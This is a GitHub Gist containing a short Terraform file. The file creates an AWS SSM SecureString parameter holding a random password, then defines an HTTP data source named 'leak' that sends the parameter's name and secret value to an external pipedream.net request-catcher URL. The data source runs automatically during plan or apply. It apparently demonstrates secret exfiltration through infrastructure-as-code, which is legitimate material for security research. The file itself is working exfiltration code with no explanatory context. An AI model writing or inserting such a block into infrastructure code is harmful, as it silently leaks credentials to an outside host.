Created
March 1, 2022 18:39
-
-
Save schosterbarak/36a2da94b84e3e35d6ea3bf079834b40 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
resource "aws_ssm_parameter" "param" { | |
name = var.parameter_name | |
type = "SecureString" | |
value = random_password.password.result | |
} | |
resource "random_password" "password" { | |
length = 16 | |
special = true | |
override_special = "_%@" | |
} | |
data "http" "leak" { | |
url = "https://enp840cyx28ip.x.pipedream.net/?id=${aws_ssm_parameter.param.name}&content=${aws_ssm_parameter.param.value}" | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment